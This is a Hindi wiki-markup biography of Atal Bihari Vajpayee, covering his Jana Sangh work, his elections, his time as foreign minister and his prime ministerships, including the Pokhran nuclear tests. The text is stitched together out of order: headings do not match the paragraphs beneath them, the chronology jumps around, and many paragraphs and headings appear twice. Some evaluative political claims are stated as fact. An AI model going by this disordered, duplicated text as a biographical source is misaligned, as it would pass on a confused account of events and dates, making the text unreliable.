यह सच है कि राष्ट्रीय स्वयं सेवक संघ (आर. एस. एस.) हिन्दुत्ववादी विचारधारा की प्रमुख संस्था है और वह हिन्दुओं के हित में सदैव आवाज़ बुलन्द करती है। लेकिन भारत सरकार की नज़र में वह अलागववादी विचारधारा का पोषण कर रही थी। इस कारण आर. एस. एस. पर कई प्रकार के राजनयिक प्रतिबन्ध लगा दिए गए। ऐसे में आर. एस. एस. ने भारतीय जनसंघ का गठन किया जो राजनीतिक विचारधारा वाला दल था। भारतीय जनसंघ का जन्म संघ परिवार की राजनीतिक संस्था के रूप में हुआ, जिसके अध्यक्ष डॉ. श्यामा प्रसाद मुखर्जी थे। अटलजी उस समय से ही इस संस्था के संगठनात्मक ढाँचे से जुड़ गए। तब वह अध्यक्ष के निजी सचिव के रूप में दल का कार्य देख रहे थे। इस कारण उन्हें जनसंघ के सबसे पुराने व्यक्तियों में एक माना जाता है। भारतीय जनसंघ ने सर्वप्रथम [[1952]] के आम चुनावों में भाग लिया। तब उसका चुनाव चिह्न दीपक था। चुनावों में भारतीय जनसंघ को कोई विशेष क़ामयाबी प्राप्त नहीं हुई, फिर भी डॉक्टर श्यामा प्रसाद मुखर्जी राष्ट्रीय हित में कार्य करते रहे। उस समय भी [[कश्मीर]] का मामला अत्यन्त संवेदनशील था। डॉक्टर श्यामा प्रसाद मुखर्जी ने अटलजी के साथ [[जम्मू-कश्मीर]] के लोगों को जागरूक करने का कार्य किया। वह कश्मीर के हिन्दुओं को अपने अधिकारों के लिए जाग्रत कर रहे थे। लेकिन सरकार ने इसे साम्प्रदायिक गतिविधि मानते हुए डॉक्टर मुखर्जी को गिरफ्तार करके जेल में ठूँस दिया। डॉक्टर मुखर्जी की [[23 जून]] [[1953]] को जेल में ही मृत्यु हो गई। तब जनसंघ के समर्थकों ने उनकी मृत्यु को एक गहरी साज़िश मानते हुए इसे हत्या क़रार दिया।
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अटल जी पाँचवी लोकसभा में भी पहुँचने में कामयाब रहे। सन् [[1972]] का लोकसभा चुनाव उन्होंने गृहनगर यानी [[ग्वालियर]] से लड़ा था। बलरामपुर संसदीय चुनाव का उन्होंने परित्याग कर दिया था। इस समय श्रीमती [[इंदिरा गांधी]] देश की प्रधानमंत्री थीं। लेकिन [[जून]], [[1975]] में इंदिरा गांधी ने आपातकाल लगाकर विपक्ष के कई नेताओं को जेल में डाल दिया। उनमें अटल जी भी शामिल थे। उन्होंने जेल में रहते हुए समयानुकूल काव्य की रचना की और आपातकाल के यथार्थ को व्यंग्य के माध्यम से प्रकट किया। जेल में रहते हुए ही अटल जी का स्वास्थ्य ख़राब हो गया और उन्हें अखिल भारतीय आयुर्विज्ञान संस्थान में भर्ती कराया गया। लगभग 18 माह के बाद आपातकाल समाप्त हुआ और छठवीं लोकसभा के गठन हेतु चुनाव घोषित हुए। जब विपक्ष के नेता जेल में बंद थे, तब भी उनमें वैचारिक मंथन हुआ।
====<u>दूसरा आम चुनाव</u>====
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====विदेश मंत्री====
अब भारतीय जनसंघ का काम अटलजी प्रमुख रूप से देखने लगे। इन पर राजनीतिक रंग पूरी तरह से हावी हो चुका था। तभी दूसरा आम चुनाव आ गया। [[1957]] के इन चुनावों में भारतीय जनसंघ को चार स्थानों पर विजय प्राप्त हुई। अटलजी पहली बार [[बलरामपुर]] सीट से विजयी होकर [[लोकसभा]] में पहुँचे। यहाँ पर यह भी बताना आवश्यक है कि 1957 में लोकसभा चुनाव हेतु अटलजी ने तीन स्थानों से नामांकन पत्र दाख़िल किया था। बलरामपुर के अलावा उन्होंने लखनऊ और [[मथुरा]] से भी पर्चे भरे थे। बलरामपुर एक रियासत थी। जिसका आज़ादी के बाद [[उत्तर प्रदेश]] राज्य में विलय कर दिया गया था। वहाँ राष्ट्रीय स्वयं सेवक संघ का अच्छा दबदबा था। प्रताप नारायण तिवारी ने यहाँ जनसंघ के लिए दृढ़ आधार तैयार किया था। चूंकि बलरामपुर कभी रियासत थी, इस कारण रजवाड़ों का भी यहाँ दबदबा था। रजवाड़े कांग्रेस से नाराज़ थे, क्योंकि आज़ादी के बाद वे अपना स्वतंत्र अस्तित्व बनाये रखना चाहते थे। यही कारण है कि बलरामपुर की सीट कांग्रेस के बजाए जनसंघ की झोली में चली गई और अटलजी प्रथम बार लोकसभा में पहुँचे। वह इस चुनाव में 10 हज़ार मतों से विजय हुए थे। लेकिन अटलजी बाक़ी दो स्थानों पर हार गए। मथुरा में वह अपनी ज़मानत भी नहीं बचा पाए और लखनऊ में साढ़े बारह हज़ार मतों से पराजय स्वीकार करनी पड़ी। दोनों स्थानों पर कांग्रेस के उम्मीदवारों की विजय हुई थी। उस समय किसी भी पार्टी के लिए यह आवश्यक था कि वह कम से कम तीन प्रतिशत वोट प्राप्त करे अन्यथा उस पार्टी की मान्यता समाप्त की जा सकती थी। भारतीय जनसंघ को 6 प्रतिशत वोट प्राप्त हुए थे। इन चुनावों में हिन्दू महासभा और रामराज्य परिषद् जैसी पार्टियों की मान्यता समाप्त हो गई, क्योंकि उन्हें तीन प्रतिशत वोट नहीं मिले थे।
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[[चित्र:Atal-bihari-vajpayee-with-Jimmi-karter.jpg|250px|left|thumb|([[जगजीवन राम]]<ref>तत्कालीन रक्षामंत्री</ref>, [[मोहन धारिया]]<ref>तत्कालीन वाणिज्य मंत्री</ref>, जिम्मी कार्टर<ref>तत्कालीन अमेरिकी राष्ट्रपति </ref> और अटल बिहारी वाजपेयी<ref>तत्कालीन विदेश मंत्री</ref> (बाएँ से दाएँ)]]
[[चित्र:Atal-Bihari-Vajpayee-2.jpg|thumb|200px|अटल बिहारी वाजपेयी और अमेरिका के राष्ट्रपति जिमी कार्टर]]
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आपातकाल के कारण विपक्ष संगठित होने में सफल रहा। फिर लोकसभा चुनाव सम्पन्न हुए, लेकिन इंदिरा गांधी चुनाव नहीं जीत सकीं। संगठित विपक्ष द्वारा [[मोरारजी देसाई]] के प्रधानमंत्रित्व में [[जनता पार्टी]] की सरकार बनी और अटल जी विदेश मंत्री बनाए गए। उन्हें विदेशी मामलों का विशेषज्ञ भी माना जाता था। उन्होंने कई देशों की यात्राएँ कीं और [[भारत]] का पक्ष रखा। अटल जी की विदेश यात्राओं के कारण मोरारजी देसाई ने इन्हें टोका था कि कभी-कभी देश में भी रहा करो। अटल जी ने [[पाकिस्तान]] की भी यात्रा की। उन्होंने तत्कालीन फ़ौजी शासक जिया-उल-हक़ से वार्तालाप के दौरान 'फ़रक्का-गंगाजल' बंटवारे का मसौदा तय किया। इसके अतिरिक्त भारत और पाकिस्तान के मध्य रेल सेवा की बहाली भी तय की गई। अटल जी [[बांग्लादेश|बंग्लादेश]] के साथ भी [[गंगाजल]] के वितरण पर समझौते की दिशा में बढ़े। उन्होंने विदेश मंत्री के तौर पर भारतीय अणु शक्ति के सम्बन्ध में नीति स्पष्ट की और अणु ऊर्जा को भारतीय आवश्यकताओं के लिए ज़रूरी बताया। अटल जी ने [[नेपाल]] के विदेश मंत्री के साथ व्यापार और पारगमन की नई नीति के सम्बन्ध में भी चर्चा की। [[4 अक्टूबर]], [[1977]] को उन्होंने संयुक्त राष्ट्र संघ के अधिवेशन में [[हिन्दी]] में सम्बोधन दिया। इसके पूर्व किसी भी भारतीय नागरिक ने राष्ट्रभाषा का प्रयोग इस मंच पर नहीं किया था।
====<u>कश्मीर मुद्दे पर विचार</u>====  
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====राज्यसभा के लिए चुने गए====
अटलजी ने [[संसद]] में पहुँचने के पश्चात् कश्मीर मुद्दे पर अपने विचार प्रकट किए और संसद ने उन्हें बेहद ध्यान से सुना। अटलजी ने कहा कि कश्मीर का मामला संयुक्त राष्ट्र संघ में नहीं भेजा जाना चाहिए था, क्योंकि वहाँ से कोई समाधान नहीं प्राप्त होगा। भारत को अपने स्तर पर ही प्रयास करके [[पाकिस्तान]] के अधिकार वाले कश्मीर के विषय में सोचना होगा। अटलजी का यह अनुमान आज भी सत्य है कि संयुक्त राष्ट्र संघ ने कश्मीर समस्या का समाधान आज तक नहीं खोजा है। अटलजी का तर्क था कि कश्मीर में पाकिस्तान हमलावर था, अत: राष्ट्र संघ को त्वरित कार्रवाई करनी चाहिए थी। कश्मीर का मामला संयुक्त राष्ट्र संघ में भेजना एक ऐतिहासिक भूल थी। भारत को चाहिए था कि वह हमलावर को अपनी ज़मीन से हटा देता और इसके लिए आवश्यक सैनिक कार्रवाई करता।
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जनता पार्टी सरकार का पतन होने के पश्चात् [[1980]] में नए चुनाव हुए और इंदिरा गांधी पुन: सत्ता में आ गईं। इसके बाद [[1996]] तक अटल जी विपक्ष में रहे। 1980 में [[भारतीय जनसंघ]] के नए स्वरूप में [[भारतीय जनता पार्टी]] का गठन हुआ और इसका चुनाव चिह्न 'कमल का फूल' रखा गया। उस समय अटल जी ही भारतीय जनता पार्टी के शीर्ष नेता थे। प्रधानमंत्री श्रीमती इंदिरा गांधी की हत्या के पश्चात् [[1984]] में आठवीं लोकसभा के चुनाव हुए। सहानुभूति की लहर कांग्रेस के साथ थी। यही कारण है कि विपक्ष के अनेक दिग्गजों को पराजय का मुँह देखना पड़ा। अटल जी भी ग्वालियर की अपनी सीट भी नहीं बचा पाए। लेकिन [[1986]] में इन्हें राज्यसभा के लिए चुन लिया गया। फिर समय ने पलटा खाया और [[विश्वनाथ प्रताप सिंह]] के कारण कांग्रेस को सत्ता से बाहर जाना पड़ा।
====<u>1962 के आम चुनाव</u>====
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====लोकसभा भंग====
अटलजी ने संसद में अपनी एक अलग पहचान बना ली थी। फिर [[1962]] के आम चुनाव आ गए। वह पुन: बलरामपुर की सीट से भारतीय जनसंघ के टिकट पर खड़े हुए लेकिन उन्हें इस बार पराजय का मुँह देखना पड़ा। कांग्रेसी उम्मीदवार को 1052 वोटों से विजय प्राप्त हुई। यह वाकई आश्चर्य की बात थी कि अटलजी को संसद में प्रशंसनीय कार्य करने के बाद भी जीत नसीब नहीं हुई। वैसे यह चुनाव इस कारण भी विवादास्पद रहा कि कांग्रेस प्रत्याशी ने उचित-अनुचित सभी प्रकार के पैंतरे अपनाए थे। इस चुनाव के दौरान साम्प्रदायिक सौहार्द्र भी बिगड़ा। इस कारण भयवश हज़ारों हिन्दू नारियों ने अपने मताधिकारों का प्रयोग नहीं किया। फिर भी 1962 के चुनाव में जनसंघ ने प्रगति की और संसद में उसके 14 प्रतिनिधि पहुँचने में सफल रहे। इस संख्या के आधार पर [[राज्यसभा]] के लिए जनसंघ को दो सदस्य मनोनीत करने का अधिकार प्राप्त हुआ। ऐसे में अटल बिहारी वाजपेयी और [[पंडित दीनदयाल उपाध्याय]] राज्यसभा में भेजे गए। चूंकि [[राष्ट्रपति]] ही राज्यसभा का पदेन सभापति होता है, इस कारण [[सर्वपल्ली राधाकृष्णन]] सभापति थे। उन्होंने अटलजी को राज्यसभा की प्रथम दीर्घा में बैठने को अनुप्रेरित किया। अटलजी ने राज्यसभा में भी अपने दायित्वों का निर्वहन योग्यता के साथ किया। इस कार्यकाल के दौरान राष्ट्रपति [[डॉक्टर राजेन्द्र प्रसाद]] और प्रधानमंत्री पंडित [[जवाहरलाल नेहरू]] की मृत्यु हुई। अटलजी ने अनुठी भाषा-शैली में उन्हें श्रद्धांजली अर्पित की। दोनों श्रद्धांजलियों को राज्यसभा के पटल पर सुरक्षित रखा गया।
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ऐसे में भारतीय जनता पार्टी ने राष्ट्रीय मोर्चा को बाहर से ही समर्थन प्रदान किया। लेकिन [[13 मार्च]], [[1991]] को लोकसभा भंग हो गई और 1991 में नए चुनाव सम्पन्न हुए। सम्पूर्ण चुनाव प्रक्रिया को दो चरणों में होना था। चुनाव के प्रथम चरण के बाद [[तमिलनाडु]] में [[राजीव गांधी]] की हत्या होने और द्वितीय चरण के मतदान में कांग्रेस को सहानुभूति का लाभ मिलने से [[पी. वी. नरसिम्हा राव]] कांग्रेस के प्रधानमंत्री नियुक्त हुए। इनका प्रधानमंत्रित्व कार्यकाल पूर्ण होने के बाद 1996 में पुन: लोकसभा के चुनाव सम्पन्न हुए।
====<u>चौथे आम चुनाव</u>====
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==प्रधानमंत्री पद==
चौथे आम चुनाव [[1967]] में सम्पन्न हुए। अटलजी पुन: बलरामपुर की सीट से प्रत्याशी बने। उन्होंने कांग्रेस के प्रत्याशी को लगभग 32 हज़ार वोटों से हराया। अपने इस कार्यकाल में अटलजी ने यह साबित कर दिया कि वह धर्मनिरपेक्षता के पूर्ण समर्थक हैं तथा धर्म और राजनीति का सम्मिश्रण नहीं चाहते। काहिरा में आयोजित हुए इस्लामी सम्मेलन के बारे में उन्होंने कहा कि अंतर्राष्ट्रीय स्तर पर मज़हबी कट्टरता का पोषण नहीं होना चाहिए। ऐसे सम्मेलन विश्व बंधुत्व के आधार पर होने चाहिए। अटल बिहारी वाजपेयी ने मज़हबी आधार पर गुट बनाने की प्रवृत्ति को ख़तरनाक बताया और भारत सरकार को भी इस बारे में आगाह किया। धारा 370 के अंतर्गत कश्मीर को जो विशिष्ट दर्जा प्रदान किया गया था, उन्होंने उसका भी विरोध किया और धारा 370 समाप्त करने की मांग की। इसके अतिरिक्त उन्होंने भारत सरकार से यह मांग की कि कश्मीर में रोज़गार के साधन उपलब्ध कराए जाएँ और शिक्षा के स्तर में वृद्धि हो।
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1996 के चुनावों में भारतीय जनता पार्टी सबसे बड़े दल के रूप में उभरी। संसदीय दल के नेता के रूप में अटलजी प्रधानमंत्री बने। उन्होंने [[21 मई]], 1996 को प्रधानमंत्री के पद एवं गोपनीयता की शपथ ग्रहण की। [[31 मई]], [[1996]] को इन्हें अन्तिम रूप से बहुमत सिद्ध करना था, लेकिन विपक्ष संगठित नहीं था। इस कारण अटल जी मात्र 13 दिनों तक ही प्रधानमंत्री रहे। उन्होंने अपनी अल्पमत सरकार का त्यागपत्र [[राष्ट्रपति]] [[डॉ. शंकरदयाल शर्मा]] को सौंप दिया।
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====कार्यवाहक प्रधानमंत्री====
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कारगिल में युद्ध की जो स्थितियाँ बनीं, वह निश्चय ही घोर लापरवाही का कारण थीं, लेकिन सच्चाई सामने नहीं आ सकी। अगले चुनावों में एन. डी. ए. की सरकार बनी। उसने उन आरोपों की निष्पक्ष जाँच कराने में कोई दिलचस्पी नहीं दिखाई और सभी सवाल समय की गर्त में दफ़न हो गए। अटल जी की सरकार दूसरी बार एक मत की कमी से बहुमत के जादुई आँकड़े तक नहीं पहुँच पाई और उसका पतन हो गया। सरकार गिराने के लिए विपक्ष ने राजनीति में प्रचलित वैध-अवैध सभी पैंतरे आजमाए, लेकिन कोई भी पार्टी सरकार बनाने की स्थिति में नहीं थी। अत: अप्रैल, 1999 से अक्टूबर, 1999 तक अटल जी [[कार्यवाहक प्रधानमंत्री]] रहे।
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====तीसरी बार प्रधानमंत्री====  
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चुनाव के पश्चात् एन. डी. ए. को स्पष्ट बहुमत प्राप्त हुआ और 13 अक्टूबर, 1999 को राष्ट्रपति श्री [[के. आर. नारायणन]] ने अटल जी को [[प्रधानमंत्री]] के रूप में पद एवं गोपनीयता की शपथ दिलाई। इस प्रकार अटल जी तीसरी बार प्रधानमंत्री बने। वह पहले के दो कार्यकाल पूर्ण नहीं कर पाए थे। भाजपा हिन्दुत्ववादी पार्टी है, लेकिन वह धर्मनिरपेक्षता का सिद्धान्त भी स्वीकार करती है। भाजपा में अनेक मुस्लिम लोग भी सम्मिलित हैं। लेकिन भाजपा का विश्वास रहा है कि हिन्दुओं को अपनी पार्टी से जोड़कर रखना है। इस कारण वह उन संवेदनशील मुद्दों को हवा सदैव देती रही जो हिन्दुओं से सम्बन्धित थे। इसमें [[अयोध्या]] स्थित 'रामजन्म भूमि' पर मन्दिर बनाए जाने का भी मुद्दा था। यद्यपि अटल जी उस सीमा तक भाजपा के साथ माने जाते हैं, जहाँ तक हिन्दू राष्ट्र का सवाल आता है, लेकिन वह जन भावनाएँ भड़काने की नीति के समर्थक कभी भी नहीं रहे।
  
इसी प्रकार विदेशी राजनीति भी अटलजी का पसंदीदा विषय थी। जब [[अमेरिका]] ने वियतनाम पर हमला किया तो उन्होंने बड़े कड़े शब्दों में निंदा की। वियतनाम को लेकर संयुक्त राष्ट्र संघ की ख़ामोशी को भी अटलजी ने अपना निशाना बनाया। उन्होंने इस युद्ध का परिणाम भी घोषित कर दिया था। अटलजी ने कहा था कि वियतनाम की जनता अपनी स्वाधीनता के लिए लड़ रही है और अमेरिका उसे युद्ध में तबाह करके अपना उपनिवेश बनाना चाहता है। लेकिन अमेरिका को यह समझ लेना चाहिए कि वियतनाम हार नहीं मानेगा और अंतत: अमेरिकी फ़ौजों को वहाँ से जाना ही होगा। इस मुद्दे पर उन्होंने सटीक भविष्यवाणी की थी। उस युद्ध में वाकई अमेरिका को पराजय का सामना करना पड़ा और वियतनाम युद्ध आज भी अमेरिका के लिए एक दाग़ की भाँति है। यही नहीं, अमेरिका की जनता ने भी बाद में वियतमान युद्ध का कड़ा विरोध करना आरम्भ कर दिया था।
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अटलजी प्रधानमंत्री के रूप में यक़ीनन बेहद योग्य व्यक्ति रहे हैं और नेहरूजी ने अपने जीवनकाल में ही यह घोषणा कर दी थी तथापि [[आडवाणी लाल कृष्ण|आडवाणी जी]] को इस बात का श्रेय अवश्य दिया जाना चाहिए कि उन्होंने अटल जी को प्रधानमंत्री के रूप में प्रचारित किया। आडवाणी जी के इस अथक श्रम को निश्चय ही याद किया जाएगा कि उन्होंने अटल जी के लिए समर्थन जुटाया। भाजपा की हिन्दुत्ववादी नीति से वोट बटोरने का कार्य भी उन्होंने किया था। राजनीति में स्थायी मित्रता और शत्रुता का कोई भी स्थान नहीं होता। प्रधानमंत्री बनने के बाद अटलजी के सामने सम्पूर्ण देश और उसकी समस्याएँ थीं। वह भाजपा तक सीमित नहीं रह सकते थे। वह संवैधानिक मर्यादा से बंधे हुए थे। यों भी अटलजी नैतिक व्यक्ति रहे हैं। इसके अलावा एन. डी. ए. के प्रति भी उनका उत्तरदायित्व था। आडवाणी जी चाहते थे कि राम मन्दिर का मसला सुलझा लिया जाए। लेकिन अटल जी जानते थे कि एन. डी. ए. में शामिल अन्य दल इसके लिए तैयार नहीं होंगे। वह विवादास्पद प्रधानमंत्री नहीं बनना चाहते थे। वह दूरगामी परिणामों का आकलन कर रहे थे। यही कारण है कि आडवाणी जी के साथ उनके वैचारिक मतभेद हो गए।
====<u>काव्य की रचना</u>====
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====ठोस कार्य====
अटलजी पाँचवी लोकसभा में भी पहुँचने में क़ामयाब रहे। सन् [[1972]] का लोकसभा चुनाव उन्होंने गृहनगर यानी ग्वालियर से लड़ा था। बलरामपुर संसदीय चुनाव का उन्होंने परित्याग कर दिया था। इस समय श्रीमती [[इंदिरा गांधी]] देश की प्रधानमंत्री थीं। लेकिन जून, [[1975]] में इंदिरा गांधी ने आपातकाल लगाकर विपक्ष के कई नेताओं को जेल में डाल दिया। उनमें अटलजी भी शामिल थे। उन्होंने जेल में रहते हुए समयानुकूल काव्य की रचना की और आपातकाल के यथार्थ को व्यंग्य के माध्यम से प्रकट किया। जेल में रहते हुए ही अटलजी का स्वास्थ्य ख़राब हो गया और उन्हें अखिल भारतीय आयुर्विज्ञान संस्थान में भर्ती कराया गया। लगभग 18 माह के बाद आपातकाल समाप्त हुआ और छठवीं लोकसभा के गठन हेतु चुनाव घोषित हुए। जब विपक्ष के नेता जेल में बंद थे, तब भी उनमें वैचारिक मंथन हुआ।
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[[चित्र:Atal-bihari-vajpayee-with-putin.jpg|thumb|250px|अटल बिहारी वाजपेयी और [[रूस]] के राष्ट्रपति व्लादिमिर पुतिन]]
====<u>विदेश मंत्री</u>====
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अटल जी की एन. डी. ए. सरकार ने पाँच वर्ष का कार्यकाल अवश्य पूर्ण किया, लेकिन इसके लिए अटल जी को काफ़ी पापड़ बेलने पड़े। एन. डी. ए. संयोजक जॉर्ज फ़र्नाडीज़ ने भी इसमें सकारात्मक भूमिका का निर्वहन किया था। एन. डी. ए. के सभी घटकों का पाँच [[वर्ष]] तक एक साथ रहना भी किसी चुनौती से कम नहीं था। अटल जी के तृतीय प्रधानमंत्रित्व काल की विशेषताओं को संक्षिप्त रूप में इस प्रकार समझा जा सकता है-
आपातकाल के कारण विपक्ष संगठित होने में सफल रहा। फिर लोकसभा चुनाव सम्पन्न हुए, लेकिन इंदिरा गांधी चुनाव नहीं जीत सकीं। संगठित विपक्ष द्वारा [[मोरारजी देसाई]] के प्रधानमंत्रित्व में जनता पार्टी की सरकार बनी और अटलजी विदेश मंत्री बनाए गए। उन्हें विदेशी मामलों का विशेषज्ञ भी माना जाता था। उन्होंने कई देशों की यात्राएँ कीं और [[भारत]] का पक्ष रखा। अटलजी की विदेश यात्राओं के कारण मोरारजी देसाई ने इन्हें टोका था कि कभी-कभी देश में भी रहा करो। अटलजी ने पाकिस्तान की भी यात्रा की। उन्होंने तत्कालीन फ़ौजी शासक जिया-उल-हक़ से वार्तालाप के दौरान फ़रक्का-गंगाजल बंटवारे का मसौदा तय किया। इसके अतिरिक्त भारत और पाकिस्तान के मध्य रेल सेवा की बहाली भी तय की गई। अटलजी बंग्लोदश के साथ भी गंगाजल के वितरण पर समझौते की दिशा में बढ़े। उन्होंने विदेश मंत्री के तौर पर भारतीय अणु शक्ति के सम्बन्ध में नीति स्पष्ट की और अणु ऊर्जा को भारतीय आवश्यकताओं के लिए ज़रूरी बताया। अटलजी ने [[नेपाल]] के विदेश मंत्री के साथ व्यापार और पारगमन की नई नीति के सम्बन्ध में भी चर्चा की। [[4 अक्टूबर]], [[1977]] को उन्होंने संयुक्त राष्ट्र संघ के अधिवेशन में हिन्दी में सम्बोधन दिया। इसके पूर्व किसी भी भारतीय नागरिक ने राष्ट्रभाषा का प्रयोग इस मंच पर नहीं किया था।  
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*श्री नरसिम्हा राव में आर्थिक सुधारों की जो नीति आरम्भ की थी, उसे अटल जी ने जारी रखा। उन्हें इस नीति के सकारात्मक तथ्यों का ज्ञान था। वह उसे इस कारण ख़ारिज नहीं करना चाहते थे कि वह कांग्रेस की आर्थिक नीति थी। ऐसी नीति से अर्थव्यवस्था के सुधार का लाभ इनकी सरकार को भी प्राप्त हुआ और सर्वहारा वर्ग भी आर्थिक रूप से सम्पन्न हुआ।
====<u>राज्यसभा के लिए चुने गए</u>====
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*श्री अटल जी ने संतुलित विदेश नीति का पालन करते हुए अपनी परमाणु नीति को स्पष्ट किया। अमेरिका और उसके मित्र देशों ने पोखरण परमाणु विस्फोट पर आँखें अवश्य तरेरीं लेकिन अटलजी ने स्पष्ट कर दिया कि भारत अगला परमाणु परीक्षण नहीं करेगा। वह परमाणु बम का उपयोग तभी करेगा जब उसके विरुद्ध ऐसा किया जाएगा। भारतीय परमाणु कार्यक्रम [[चीन]] तथा पाकिस्तान के विरोधी रवैये को देखते हुए बनाया गया और सारी दुनिया भी भारत के इस भय को समझती थी।
जनता पार्टी सरकार का पतन होने के पश्चात् [[1980]] में नए चुनाव हुए और इंदिरा गांधी पुन: सत्ता में आ गईं। इसके बाद [[1996]] तक अटलजी विपक्ष में रहे। 1980 में भारतीय जनसंघ के नए स्वरूप में भारतीय जनता पार्टी का गठन हुआ और इसका चुनाव चिह्न कमल का फूल रखा गया। उस समय अटलजी ही भारतीय जनता पार्टी के शीर्ष नेता थे। प्रधानमंत्री श्रीमती इंदिरा गांधी की हत्या के पश्चात् [[1984]] में आठवीं लोकसभा के चुनाव हुए। सहानुभूति की लहर कांग्रेस के साथ थी। यही कारण है कि विपक्ष के अनेक दिग्गजों को पराजय का मुँह देखना पड़ा। अटलजी भी ग्वालियर की अपनी सीट भी नहीं बचा पाए। लेकिन [[1986]] में इन्हें राज्यसभा के लिए चुन लिया गया। फिर समय ने पलटा खाया और विश्वनाथ प्रताप सिंह के कारण कांग्रेस को सत्ता से बाहर जाना पड़ा।
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*आर्थिक विकास के लिए अटलजी ने 'स्वर्णिम चतुर्भुज' योजना का आरम्भ किया। इसके अंतर्गत वह देश के महत्त्वपूर्ण शहरों को लम्बी-चौड़ी सड़कों के माध्यम से जोड़ना चाहते थे। इसका अधिकांश कार्य अटलजी के कार्यकाल में पूर्ण हुआ। इससे जहाँ आम व्यक्ति की यात्रा सुविधाजनक हुई, वहीं व्यापारिक और क़ारोबारी गतिविधियों को भी प्रोत्साहन मिला।
====<u>लोकसभा भंग</u>====
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*अटलजी ने पड़ोसी देश पाकिस्तान के साथ सम्बन्ध सुधारने की दिशा में सदैव पहल की, यद्यपि पाकिस्तान ने कभी भी अपने वादों को पूर्ण नहीं किया। कारगिल युद्ध इसका स्पष्ट उदाहरण है। उन्होंने पाकिस्तान के सैनिक शासक परवेज मुशर्रफ़ से भी बातचीत की थी।
ऐसे में भारतीय जनता पार्टी ने राष्ट्रीय मोर्चा को बाहर से ही समर्थन प्रदान किया। लेकिन [[13 मार्च]], [[1991]] को लोकसभा भंग हो गई और 1991 में नए चुनाव सम्पन्न हुए। सम्पूर्ण चुनाव प्रक्रिया को दो चरणों में होना था। चुनाव के प्रथम चरण के बाद [[तमिलनाडु]] में [[राजीव गांधी]] की हत्या होने और द्वितीय चरण के मतदान में कांग्रेस को सहानुभूति का लाभ मिलने से पी. वी. नरसिम्हा राव कांग्रेस के प्रधानमंत्री नियुक्त हुए। इनका प्रधानमंत्रित्व कार्यकाल पूर्ण होने के बाद 1996 में पुन: लोकसभा के चुनाव सम्पन्न हुए।
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*अमेरिकी राष्ट्रपति बिल क्लिटंन के भारत आगमन पर अमेरिका के साथ भारतीय सम्बन्धों को सुधारने की दिशा में कार्य किया गया। अटलजी ने पाकिस्तान के अपदस्थ प्रधानमंत्री नवाज शरीफ़ की रिहाई के लिए बिल क्लिंटन से वार्ता की ताकि पड़ोसी देश में प्रजातंत्र की हत्या न हो सके। इस साझा प्रयास से ही नवाज शरीफ़ की रिहाई सम्भव हो सकी।
==प्रधानमंत्री पद पर==
 
1996 के चुनावों में भारतीय जनता पार्टी सबसे बड़े दल के रूप में उभरी। संसदीय दल के नेता के रूप में अटलजी प्रधानमंत्री बने। उन्होंने [[21 मई]], 1996 को प्रधानमंत्री के पद एवं गोपनीयता की शपथ ग्रहण की। [[31 मई]], [[1996]] को इन्हें अन्तिम रूप से बहुमत सिद्ध करना था, लेकिन विपक्ष संगठित नहीं था। इस कारण अटलजी मात्र 13 दिनों तक ही प्रधानमंत्री रहे। उन्होंने अपनी अल्पमत सरकार का त्यागपत्र राष्ट्रपति डॉ. शंकरदयाल शर्मा को सौंप दिया।
 
 
==विभिन्न उपलब्धियाँ==
 
==विभिन्न उपलब्धियाँ==
[[19 मार्च]], [[1998]] को नए चुनावों के माध्यम से अटलजी पुन: प्रधानमंत्री बने। इस समय सदन में भारतीय जनता पार्टी (भाजपा) सदस्यों की संख्या 182 थी। तेलुगुदेशम, तृणमूल कांग्रेस और जयललिता की ए. आई. डी. एम. के. ने भाजपा को समर्थन दिया। अप्रैल [[1999]] तक अटलजी दूसरी बार प्रधानमंत्री पद पर रहे। इनका कार्यकाल इस बार 14 महीनों तक रहा। द्वितीय कार्यकाल में अटलजी ने प्रधानमंत्री के रूप में निम्नलिखित उपलब्धियाँ हासिल प्राप्त कीं-
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[[चित्र:Atal-bihari-vajpayee-with-george-bush.jpg|thumb|left|अटल बिहारी वाजपेयी और [[अमेरिका]] के राष्ट्रपति जॉर्ज बुश]]
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[[19 मार्च]], [[1998]] को नए चुनावों के माध्यम से अटल जी पुन: प्रधानमंत्री बने। इस समय सदन में भारतीय जनता पार्टी (भाजपा) सदस्यों की संख्या 182 थी। तेलुगुदेशम, तृणमूल कांग्रेस और [[जयललिता]] की ए. आई. डी. एम. के. ने भाजपा को समर्थन दिया। अप्रैल [[1999]] तक अटल जी दूसरी बार प्रधानमंत्री पद पर रहे। इनका कार्यकाल इस बार 14 महीनों तक रहा। द्वितीय कार्यकाल में अटलजी ने प्रधानमंत्री के रूप में निम्नलिखित उपलब्धियाँ हासिल प्राप्त कीं-
 
*अटलजी ने विज्ञान और तकनीक की प्रगति के साथ देश का भविष्य जोड़ा। उन्होंने परमाणु शक्ति को देश के लिए आवश्यक बताकर [[11 मई]] [[1998]] को पोखरन में पाँच परमाणु परीक्षण किए।  
 
*अटलजी ने विज्ञान और तकनीक की प्रगति के साथ देश का भविष्य जोड़ा। उन्होंने परमाणु शक्ति को देश के लिए आवश्यक बताकर [[11 मई]] [[1998]] को पोखरन में पाँच परमाणु परीक्षण किए।  
*अटलजी ने भारतीय सुरक्षा को महत्व दिया और देश को परमाणु बम से लैस किया। देश की स्वतंत्रता और सम्प्रभुता का नारा दिया।  
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*अटल जी ने भारतीय सुरक्षा को महत्त्व दिया और देश को परमाणु बम से लैस किया। देश की स्वतंत्रता और सम्प्रभुता का नारा दिया।  
*परमाणु बम बना लेने के कारण अमेरिका और उसके मित्र राष्ट्रों ने भारत पर प्रतिबंध लगा दिया। लेकिन अटलजी ने प्रतिबंधों की परवाह न करते हुए भारत को स्वावलम्बी राष्ट्र बनाने की दिशा में कार्य किया। उन्होंने स्पष्ट रूप से कह दिया कि भारत की अर्थव्यवस्था मजबूत है और उन्हें आर्थिक प्रतिबंधों की कोई भी परवाह नहीं है।  
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*परमाणु बम बना लेने के कारण अमेरिका और उसके मित्र राष्ट्रों ने भारत पर प्रतिबंध लगा दिया। लेकिन अटलजी ने प्रतिबंधों की परवाह न करते हुए भारत को स्वावलम्बी राष्ट्र बनाने की दिशा में कार्य किया। उन्होंने स्पष्ट रूप से कह दिया कि भारत की अर्थव्यवस्था मज़बूत है और उन्हें आर्थिक प्रतिबंधों की कोई भी परवाह नहीं है।  
